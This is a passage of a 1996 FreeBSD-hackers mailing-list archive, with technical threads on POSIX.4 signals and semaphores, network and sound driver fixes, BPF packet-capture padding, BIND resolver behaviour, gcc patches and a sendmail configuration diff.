about adding in > the kernel support for semaphores settable by user processes, > including the counting semaphore model from POSIX.4. POSIX.4 > message queues might come practically free with the semaphores, > because I have POSIX.4 shared memory routines already which > combined with the semaphores form the basis for the message > queues anyway. > > It would also be really interesting to know whether anyone from > the mmap() people has been working on the new mlockall(2) and > munlockall(2) stuff that was defined by POSIX.4. Does anyone have any idea about finding the kernel's internal memory addresses when one knows processes' memory addresses or does anyone have anything to say about the mlockall() stuff? Cheers, // jau ------ / Jukka A. Ukkonen, FUNET / Centre for Scientific Computing /__ M.Sc. (sw-eng & cs) Tel: (Home&Fax) +358-0-6215280 / Internet: ukkonen@csc.fi (Work) +358-0-4573208 v Internet: jau@funet.fi (Mobile) +358-400-606671 From owner-freebsd-hackers Fri Jun 28 16:35:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA10282 for hackers-outgoing; Fri, 28 Jun 1996 16:35:25 -0700 (PDT) Received: from moonpie.w8hd.org (moonpie.w8hd.org [198.252.159.14]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA10270 for ; Fri, 28 Jun 1996 16:35:22 -0700 (PDT) Received: (from kimc@localhost) by moonpie.w8hd.org (8.7.5/8.6.12) id TAA06366; Fri, 28 Jun 1996 19:34:49 -0400 (EDT) Date: Fri, 28 Jun 1996 19:34:49 -0400 (EDT) From: Kim Culhan To: Bora Akyol cc: hackers@FreeBSD.org Subject: Re: DE Driver on 2.2 SNAP (Hello , Anybody there!!) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 28 Jun 1996, Bora Akyol wrote: > The DE 21x4x driver is NOT in the generic kernel that is on the boot.flp > for 2.2 > SNAP. > I boot with the 2.1 SNAP and my DEC card is immediately recognized and > with 2.2 SNAP it is not recognized. This leads me to believe that the > driver is somehow not in the kernel. I couldn't ftp the 2.2-SNAP with a 21040 installed but found later after ftp'ing with a different card that the same 21040 wouldn't run with the UTP port enabled, worked fine with the thin-net port connected. More testing to follow. kim -- kimc@w8hd.org From owner-freebsd-hackers Fri Jun 28 17:03:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA17819 for hackers-outgoing; Fri, 28 Jun 1996 17:03:49 -0700 (PDT) Received: from ormail.intel.com (ormail.intel.com [134.134.248.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA17801 for ; Fri, 28 Jun 1996 17:03:46 -0700 (PDT) Received: from ichips.intel.com (ichips.intel.com [134.134.50.200]) by ormail.intel.com (8.7.4/8.7.3) with ESMTP id RAA10638 for ; Fri, 28 Jun 1996 17:03:44 -0700 (PDT) Received: from pdxcs078.intel.com by ichips.intel.com (8.7.4/jIII) id RAA20273; Fri, 28 Jun 1996 17:01:00 -0700 (PDT) Received: by pdxcs078.intel.com (AIX 3.2/UCB 5.64/SW1.11) id AA43482; Fri, 28 Jun 1996 17:03:44 -0700 Message-Id: <9606290003.AA43482@pdxcs078.intel.com> To: freebsd-hackers@freebsd.org Subject: how is "struct nzlist" nz_size field used in rtld? Date: Fri, 28 Jun 1996 17:03:44 -0700 From: Mike Haertel Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Could somebody please explain to me how the nz_size field is used by the run-time linker? I am trying to port a SunOS-based object file utility to FreeBSD, and there seems to be no equivalent in SunOS dynamic objects. Thanks, Mike From owner-freebsd-hackers Fri Jun 28 18:43:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA23749 for hackers-outgoing; Fri, 28 Jun 1996 18:43:14 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA23740 for ; Fri, 28 Jun 1996 18:43:10 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id VAA20442; Fri, 28 Jun 1996 21:40:52 -0400 Date: Fri, 28 Jun 1996 21:40:52 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: Jukka Ukkonen cc: hackers@freebsd.com Subject: Re: physical memory addresses & memory locking... In-Reply-To: <199606282219.BAA23320@jau.csc.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have a simple lock LKM which in essence allows processes to 1) test a lock 2) drop into kernel sleep() if it's set 3) if it's not set, lock it using pentium cswap 4) when clearing it, if there was contention, syscall that does a wakeup() it's very efficient, much more so than sysv semaphores. If you want it let me know. It's called fastlock. ron Ron Minnich |"Inferno runs on MIPS ..., Intel ..., and AMD's rminnich@sarnoff.com |29-kilobit-per-second chip-based architectures ..." (609)-734-3120 | Comm. week, may 13, pg. 4. ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html From owner-freebsd-hackers Fri Jun 28 19:24:01 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA26113 for hackers-outgoing; Fri, 28 Jun 1996 19:24:01 -0700 (PDT) Received: from badboy.wisetech.com (badboy.wisetech.com [205.231.232.76]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA26108 for ; Fri, 28 Jun 1996 19:23:55 -0700 (PDT) Received: from badboy.wisetech.com (localhost [127.0.0.1]) by badboy.wisetech.com (8.6.12/8.6.9) with SMTP id WAA26183 for ; Fri, 28 Jun 1996 22:11:07 -0400 Message-ID: <31D490BA.446B9B3D@wisetech.com> Date: Fri, 28 Jun 1996 22:11:06 -0400 From: Rick Weldon Organization: Weldon Internet SEcurity Technologies X-Mailer: Mozilla 2.0 (X11; I; FreeBSD 2.1.0-RELEASE i386) MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: BPF implementation questions Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello Hackers, I am working on an application that allows one to capture packet data, save it off, analyze it, and play back tcp sessions. I have run into a couple of problems with the BPF implementation and I am hoping that someone here might be able to help me with a problem I am having. This will take some explainin' to get to the problem so bear with me please. Using FreeBSD 2.1 Release on a Pentium with a NE2000 clone ethernet card. I capture the data from the net using bpf and shove it into a data file. I write out the header first and then all of the ethernet frame. Pretty straight forward. The data file format looks like this. bpf_hdr|ether|ip|tcp|tcp data| The problem I am running into is that when I try to get the absolute length of the TCP data portion I can't. The bpf_hdr is lying to me on exactly how much TCP data is there in a round about sort of way. For instance here is a dump of the data file with breakouts of the fields DATE CAPLEN DATLEN BPF HDRLEN |------------------||---------||---------||----------| 2f18 31d4 1938 0006 003c 0000 003c 0000 0012 ETHERNET HEADER |---------------------------------| 4000 1405 140a 0000 2ac0 7772 0008 IP HEADER |------------------------------------------------| 0045 2c00 13b8 0040 06ff a255 e7cd 22e9 e7cd 23e9 TCP HEADER TCP DATA |----------------------------------------------------------||---| 0a80 1700 70c7 008a 0000 0000 0260 3822 4636 0000 0402 b405 2a3a ^^^^ ^^^^ NEXT BPF HEADER IN THE FILE |------------------------------------------- 2f18 31d4 253b 0006 003c 0000 003c 0000 0012 ... Okay if we do some math and walk through the headers you will see what I mean. The CAPLEN and DATLEN are the same because I don't set a snap limit. DATALEN (0x3c) is 60 bytes. If you count the bytes they do indeed total 60 which has us pointing at the next bpf header to start the next read. No problem. To calculate the actual tcp data length you would use: tcp_datalen = bh_datalen - ((sizeof(struct ether_header) + (p_ip->ip_hl * 4) + (tcp->th_off * 4))); Filling in the numbers you get: tcp_datalen = 60 - (14 + 20 + 24) or 60 - 58 With the above packet this works out to 2 bytes. This could be correct except this is a syn packet and there shouldn't be any data. If you translate the 2a3a it is ":*". What my application does is stream all of the data portions of the tcp packets together so that you can see everything the user typed/saw etc... The rub is that this extra cargo munges up the output streams with meaningless characters. On ACK packets I notice that there are 6 bytes of TCP data that have no meaning. I could understand if the BPF code was padding out to a word boundary. But this would only give me 2 extra bytes. Not 6. This would not be a problem if the BPF header told me exactly how long the data portion of the packet was. I thought that was what bh_datalen was supposed to do. But as I mentioned ack packets can have as much as 6 bytes of nothing hanging around. Under these conditions one cannot derive what exactly is meaningful in the data portions of the packet. Can anyone tell me why BPF does this, and is there a solution to this problem? The only thing I can think of would be to go in and tweak the bpf code to make sure that bh_datalen reflects actually what was captured. Another would be to check for the ACK, SYN, SYN/ACK, FIN flags and just don't attempt to look at the tcp data portions. The only thing I have run into with this is when the PUSH flag is set then there may be meaningful data in the packet. Sometimes yes, sometime no. One thing to note is that utilities like tcpdump couldn't care less about the data portions of packets. It is only concerned with the headers and hence this problem would not arise except under the conditions where you really do need the tcp data. If someone out there somewhere can solve this problem I sure would like to know about it. Thanks for any help anyone can provide. Rick Weldon From owner-freebsd-hackers Fri Jun 28 20:58:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA01693 for hackers-outgoing; Fri, 28 Jun 1996 20:58:18 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA01684 for ; Fri, 28 Jun 1996 20:58:15 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id VAA23319 for ; Fri, 28 Jun 1996 21:57:50 -0600 (MDT) Message-Id: <199606290357.VAA23319@rover.village.org> To: hackers@freebsd.org Subject: gcc 2.7.3 trial patches Date: Fri, 28 Jun 1996 21:57:50 -0600 From: Warner Losh Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Given the good reports that I've received from people with 2.7.2 + the 2.7.3 tiral patches, I'd like to see those patches integrated into the source tree. I have politely asked if this is a reasonable thing to do, and have been given the green light from Stallman subject to two conditions. 1) That we integrate the real 2.7.3 when it is released and 2) that we don't spin a release with these snapshots in it. The projected release date is, I believe, a few weeks to a monthish. >From my looking at the tree, it appears we still have 2.6.3 and that the 2.7.2 integration that has been warned about coming has not come to pass (as of cvs-ctm 2175), so maybe this point is moot. I'd like to see it and will happily provide patches to a committer who is willing to commit the changes, assuming that people think it is a good idea. The patches fix a number of significant bugs in the x86 optimizer that make 2.7.2 dangerous to use. Warner From owner-freebsd-hackers Fri Jun 28 21:39:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA03903 for hackers-outgoing; Fri, 28 Jun 1996 21:39:07 -0700 (PDT) Received: from hq.cyberrealm.net (hq.cyberrealm.net [205.130.250.4]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA03884; Fri, 28 Jun 1996 21:39:00 -0700 (PDT) Received: from dev.cyberrealm.net ([205.130.250.167]) by hq.cyberrealm.net (Netscape Mail Server v2.0) with SMTP id AAA230; Sat, 29 Jun 1996 00:41:49 -0400 X-Sender: dcobb@hq.cyberrealm.net X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: freebsd-chat@freebsd.org, freebsd-admin@freebsd.org, freebsd-hackers@freebsd.org From: Dustin Cobb Subject: Employment opportunities @ CyberRealm Date: Sat, 29 Jun 1996 00:41:49 -0400 Message-ID: <19960629044148949.AAA230@dev.cyberrealm.net> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Who is CyberRealm? We are a new aggressive international Internet marketing and connectivity organization located in Rockville, MD. Due to our rapid progression in the ISP and Internet presence provider markets, we require more TALENTED and AGGRESSIVE IS professionals. We are looking for personnel with expertise in the following: * FreeBSD 2.x.x (administration and programming [C, C++, Perl, Tcl, SQL]) * General UNIX and Internet services administration (such as UUCP, FTP, HTTP, SMTP, NNTP, DNS, NFS, NIS). * TCP/IP and related routing protocols (such as BGP, EGP, IGRP, RIP, OSPF, etc.) * Experience with troubleshooting hardware problems on Intel-based systems (MIPS and Alpha a +). * Experience with UNIX and Internet service related security issues. You will be expected to promptly react to all relevant CERT advisories. Firewall experience required. * OLTP and secure transactions. CyberRealm will be involved in the deployment of SET and we are currently promoting commerce solutions involving Netscape Commerce Server, First Virtual, DigiCash, CyberCash, Mondex, and SET by Visa/MasterCard/AMEX. In short, we are looking for a talented and aggressive MIS manager who will serve a significant role in the future growth of our rapidly expanding company. If you're interested in such an opportunity, please reply to dcobb@hq.cyberrealm.net or call (301) 947-0100. Dustin Cobb Vice President CyberRealm P.S. For more info, http://www.cyberrealm.net From owner-freebsd-hackers Fri Jun 28 21:40:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA04000 for hackers-outgoing; Fri, 28 Jun 1996 21:40:16 -0700 (PDT) Received: from rocky.mt.sri.com ([206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA03995 for ; Fri, 28 Jun 1996 21:40:08 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id WAA01748; Fri, 28 Jun 1996 22:40:04 -0600 (MDT) Date: Fri, 28 Jun 1996 22:40:04 -0600 (MDT) Message-Id: <199606290440.WAA01748@rocky.mt.sri.com> From: Nate Williams To: hackers@freebsd.org Subject: BIND/named experts? Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk My new class --C is now in place, and things appear to be working pretty good. Things are being propogated correctly, and my MX sites have now got all of the necessary information so mail will end up getting to me sooner or later. However, 'named' doesn't work very well on my router box. It seems to want to append '.sri.com' to *EVERY* query I make unless I end them with a dot, which makes named on my router useless (except everyone getting the information from my box seems to be doing OK with it.) Does anyone have any idea how I can track this down? Here is one example of what appears to be happening from the logfile. datagram from [206.127.76.100].34204, fd 5, len 43; now Fri Jun 28 22:34:48 1996 req: nlookup(blacksmith.com.mt.sri.com) id 35841 type=1 class=1 req: found 'blacksmith.com.mt.sri.com' as 'mt.sri.com' (cname=0) ns_req: answer -> [206.127.76.100].34204 fd=5 id=396 size=97 Local datagram from [206.127.76.100].34204, fd 5, len 40; now Fri Jun 28 22:34:48 1996 req: nlookup(blacksmith.com.sri.com) id 36097 type=1 class=1 req: found 'blacksmith.com.sri.com' as 'com.sri.com' (cname=0) forw: forw -> [192.12.33.94].53 ds=8 nsid=2755 id=397 322ms retry 4sec datagram from [192.12.33.94].53, fd 7, len 92; now Fri Jun 28 22:34:48 1996 ncache: dname blacksmith.com.sri.com, type 1, class 1 send_msg -> [206.127.76.100].34204 (UDP 5) id=397 datagram from [206.127.76.100].34204, fd 5, len 32; now Fri Jun 28 22:34:48 1996 req: nlookup(blacksmith.com) id 36353 type=1 class=1 req: found 'blacksmith.com' as 'blacksmith.com' (cname=0) ns_req: answer -> [206.127.76.100].34204 fd=5 id=398 size=132 Local For most other hosts this will eventually work, but the problem lies when the nameserver makes queries that it must respond to, which causes it to recursively call itself. The *weirdest* thing is that it works fine for awhile, and then it'll start locking up which means that *nothing* works. I just rebooted it and things seem to be working fine, but I suspect it'll be locked up in the morning. Thanks for any advice you can give, Nate From owner-freebsd-hackers Fri Jun 28 22:51:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA08805 for hackers-outgoing; Fri, 28 Jun 1996 22:51:21 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA08800 for ; Fri, 28 Jun 1996 22:51:18 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id HAA24287; Sat, 29 Jun 1996 07:50:51 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA12344; Sat, 29 Jun 1996 07:50:46 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id HAA27015; Sat, 29 Jun 1996 07:43:00 +0200 (MET DST) From: J Wunsch Message-Id: <199606290543.HAA27015@uriah.heep.sax.de> Subject: Re: BSD V2.2 To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 29 Jun 1996 07:43:00 +0200 (MET DST) Cc: dev@fgate.flevel.co.uk (Developer) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: from Developer at "Jun 28, 96 11:50:57 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Developer wrote: > I tried it on a: AMD DX4x100Mzh, 16MB of memory. Award modular bios. > Adaptec SCSI card (used the ahc driver) on VLB. 2x1GB SCSI drive. Enhanced ^^^^^^^^ > IO card (EIDE, 2 serial, 1 parallel, joystick etc). Green motherboard ^^^^^^^ > (Pretty standard really). Floppy drive. Does it perchance come with an own IDE BIOS? Disable it then, and try again. (The WD Promise is for example a known offender.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Jun 28 23:13:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA09804 for hackers-outgoing; Fri, 28 Jun 1996 23:13:22 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA09798 for ; Fri, 28 Jun 1996 23:13:19 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.7.5/8.6.12) with SMTP id XAA00357; Fri, 28 Jun 1996 23:21:46 -0700 (PDT) Date: Fri, 28 Jun 1996 23:21:45 -0700 (PDT) From: Tom Samplonius To: Nate Williams cc: hackers@freebsd.org Subject: Re: BIND/named experts? In-Reply-To: <199606290440.WAA01748@rocky.mt.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 28 Jun 1996, Nate Williams wrote: > My new class --C is now in place, and things appear to be working pretty > good. Things are being propogated correctly, and my MX sites have now > got all of the necessary information so mail will end up getting to me > sooner or later. > > However, 'named' doesn't work very well on my router box. It seems to > want to append '.sri.com' to *EVERY* query I make unless I end them with > a dot, which makes named on my router useless (except everyone getting > the information from my box seems to be doing OK with it.) This is the standard resolver behaviour. It tries with the domain name appended first, and if that fails, it will try without. I suspect that the second query it not working because your name server is not authoritative for the .sri.com. > Does anyone have any idea how I can track this down? Here is one > example of what appears to be happening from the logfile. What happens with nslookup in debug mode? Tom From owner-freebsd-hackers Fri Jun 28 23:18:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA09954 for hackers-outgoing; Fri, 28 Jun 1996 23:18:20 -0700 (PDT) Received: from Gatekeeper.lamb.net (root@Gatekeeper.Lamb.net [206.169.44.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA09949 for ; Fri, 28 Jun 1996 23:18:17 -0700 (PDT) Received: (from ulf@localhost) by Gatekeeper.lamb.net (8.7.5/8.7.3) id XAA29930 for hackers@freebsd.org; Fri, 28 Jun 1996 23:17:17 -0700 (PDT) From: Ulf Zimmermann Message-Id: <199606290617.XAA29930@Gatekeeper.lamb.net> Subject: Cross compile of FreeBSD To: hackers@freebsd.org Date: Fri, 28 Jun 1996 23:17:17 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi. Has anyone every tried to cross compile the FreeBSD kernel or maybe even make world ? For example on a SGI system ? Have here an unused challenge at the moment ;-) Ulf. --------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-865-0204 From owner-freebsd-hackers Fri Jun 28 23:55:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA12675 for hackers-outgoing; Fri, 28 Jun 1996 23:55:57 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA12637 for ; Fri, 28 Jun 1996 23:54:32 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id QAA27894; Sat, 29 Jun 1996 16:50:04 +1000 Date: Sat, 29 Jun 1996 16:50:04 +1000 From: Bruce Evans Message-Id: <199606290650.QAA27894@godzilla.zeta.org.au> To: jau@jau.csc.fi, terry@lambert.org Subject: Re: POSIX.4 signals + other POSIX.4 stuff to FreeBSD... Cc: bde@zeta.org.au, hackers@freebsd.com Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >/* > * Signal vector "template" used in sigaction call. > */ >struct sigaction { > union { > /* > * These two could be separate fields quite as well. > * > * Either a simple POSIX.1 signal handler > * with additional BSD style parameters ... > */ > void (*sa_handler) _P((int, ...)); > /* > * ... or a more complex POSIX.4 signal handler > */ > void (*sa_sigaction) _P((int, siginfo_t *, void *)); > }; How can POSIX.4 specify this? It is incompatible with the POSIX.1 struct sigaction (as is the varargs sa_handler). > Though Bruce Evans seems not to share my opinion, I suppose > using sigismember() etc. macros/functions within the kernel > would not be very much a resource hog, or what do you think > of the next macro? I only said that the would be unnecessarily inefficient with [if sigset_t is <= 32 bits]. >#define sigismember(set, sig) (set[((unsigned) (sig)) >> 5] \ > & (1 << ((sig) & 0x1F))) > This does not really require too many extra machine instructions > when used instead of the simple bitwise and/or logic. This already > accounts for the ability to handle an extended signal set. The user sigismember() is more or less required to check the bounds, so it needs to be larger and uglier. The kernel should probably check `sig' in advance and then use special kernel versions of the signal manipulation functions. Bruce From owner-freebsd-hackers Sat Jun 29 04:53:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA28310 for hackers-outgoing; Sat, 29 Jun 1996 04:53:44 -0700 (PDT) Received: from axp5.physik.fu-berlin.de (axp5.fddi5B.fu-berlin.de [160.45.5.75]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id EAA28292 for ; Sat, 29 Jun 1996 04:53:40 -0700 (PDT) Received: from titania.physik.fu-berlin.de (titania.physik.fu-berlin.de [160.45.33.86]) by axp5.physik.fu-berlin.de (8.7.1/8.7.1) with ESMTP id NAA12518 for ; Sat, 29 Jun 1996 13:52:00 +0200 (MET DST) Received: (from graichen@localhost) by titania.physik.fu-berlin.de (8.6.12/8.6.12) id NAA19982 for hackers@FreeBSD.org; Sat, 29 Jun 1996 13:52:00 +0200 From: Thomas Graichen Message-Id: <199606291152.NAA19982@titania.physik.fu-berlin.de> Subject: committer needed To: hackers@FreeBSD.org Date: Sat, 29 Jun 1996 13:52:00 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk hello can someone please commit these changes to the stable tree (i currently don't have the time and the connection to freefall to do it by myself) - you may also commit them to -current - but i think sujal patel is working an porting a newer version of uss/lite to FreeBSD - so i think it does'nt make much sense - but why not this small patch adds support for microsoft (or windows) sound system based cards (like for instance the mad16 and mozart chips) - seems that i'm the only one using such a card - because without these (very small) patches you'll never get them working: first patch - it is rquired to get the audio devices etc. if MSS != 0: --- sys/i386/isa/sound/local.h~ Thu Sep 14 10:34:15 1995 +++ sys/i386/isa/sound/local.h Wed Feb 14 09:11:05 1996 @@ -94,7 +94,7 @@ /* nothing but a sequencer (Adlib/OPL) ? */ #if NGUS == 0 && NSB == 0 && NSBMIDI == 0 && NPAS == 0 && NMPU == 0 && \ - NUART == 0 + NUART == 0 && NMSS == 0 #ifndef EXCLUDE_MIDI #define EXCLUDE_MIDI #endif @@ -104,7 +104,8 @@ #endif /* nothing but a Midi (MPU/UART) ? */ -#if NGUS == 0 && NSB == 0 && NSBMIDI == 0 && NPAS == 0 && NOPL == 0 +#if NGUS == 0 && NSB == 0 && NSBMIDI == 0 && NPAS == 0 && NOPL == 0 && \ + NMSS == 0 /* MPU depends on sequencer timer */ #if NMPU == 0 && !defined(EXCLUDE_SEQUENCER) #define EXCLUDE_SEQUENCER second patch - this increses the auto-calibration timeout a bit - else some cards (for instance my mad16 based shuttle sound system 48) will get a timeout - also i don't know what the newline \n in the printf is for: --- sys/i386/isa/sound/ad1848.c~ Thu Sep 14 10:36:43 1995 +++ sys/i386/isa/sound/ad1848.c Mon Feb 12 17:35:20 1996 @@ -168,7 +168,7 @@ if (!(ad_read (devc, 11) & 0x20)) return; - timeout = 10000; + timeout = 20000; while (timeout > 0 && ad_read (devc, 11) & 0x20) timeout--; if (ad_read (devc, 11) & 0x20) @@ -1192,7 +1192,7 @@ "Generic audio codec (%s)", devc->chip_name); #if defined(__FreeBSD__) - printk ("\ngus0: <%s>", ad1848_pcm_operations[nr_ad1848_devs].name); + printk ("gus0: <%s>", ad1848_pcm_operations[nr_ad1848_devs].name); #else printk (" <%s>", ad1848_pcm_operations[nr_ad1848_devs].name); #endif these two patches are working very fine for me half a year now and are that harmlss that there are no problems including them into the stable tree - without them the mss0 driver will definitely not work enough told - can now please someone commit them thanks in advance t -- thomas graichen graichen@mail.physik.fu-berlin.de graichen@FreeBSD.org perfection is reached, not when there is no longer anything to add, but when there is no longer anything to take away antoine de saint-exupery From owner-freebsd-hackers Sat Jun 29 05:41:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA00696 for hackers-outgoing; Sat, 29 Jun 1996 05:41:22 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA00690 for ; Sat, 29 Jun 1996 05:41:20 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id FAA12411 for freebsd-hackers@freefall.cdrom.com; Sat, 29 Jun 1996 05:41:19 -0700 (MST) From: Don Yuniskis Message-Id: <199606291241.FAA12411@seagull.rtd.com> Subject: freefall.mc patch To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Sat, 29 Jun 1996 05:41:19 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! Another "no-brainer" diff... Damned if *I* can see where this was used in the new scheme of things... Thx, --don ----------8<---------------8<---------------8<--------------- *** freefall.mc Thu Sep 8 02:41:01 1994 --- freefall.mc.new Sat Jun 29 05:28:23 1996 *************** *** 40,46 **** MAILER(smtp)dnl define(`UUCP_RELAY', ucbvax.Berkeley.EDU)dnl define(`BITNET_RELAY', mailhost.Berkeley.EDU)dnl - define(`CSNET_RELAY', mailhost.Berkeley.EDU)dnl define(`confCHECKPOINT_INTERVAL', 4)dnl define(`confAUTO_REBUILD', True)dnl --- 40,45 ---- From owner-freebsd-hackers Sat Jun 29 05:52:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA01120 for hackers-outgoing; Sat, 29 Jun 1996 05:52:49 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA01115 for ; Sat, 29 Jun 1996 05:52:44 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id OAA01336; Sat, 29 Jun 1996 14:51:54 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id OAA15220; Sat, 29 Jun 1996 14:51:54 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id OAA28065; Sat, 29 Jun 1996 14:50:15 +0200 (MET DST) From: J Wunsch Message-Id: <199606291250.OAA28065@uriah.heep.sax.de> Subject: Re: sendmail.cf To: dgy@rtd.com (Don Yuniskis) Date: Sat, 29 Jun 1996 14:50:15 +0200 (MET DST) Cc: freebsd-hackers@freefall.freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199606281505.IAA14689@seagull.rtd.com> from Don Yuniskis at "Jun 28, 96 08:05:21 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > Shouldn't "sendmail.mc" (i.e. freefall.mc) and related m4 files > be installed as part of the binary distribution? Or, is it felt > that the user should have to install the source distribution to > alter his sendmail configuration? (or, resort to manually > tweaking sendmail.cf)? There's a separate ``sendmail config source'' 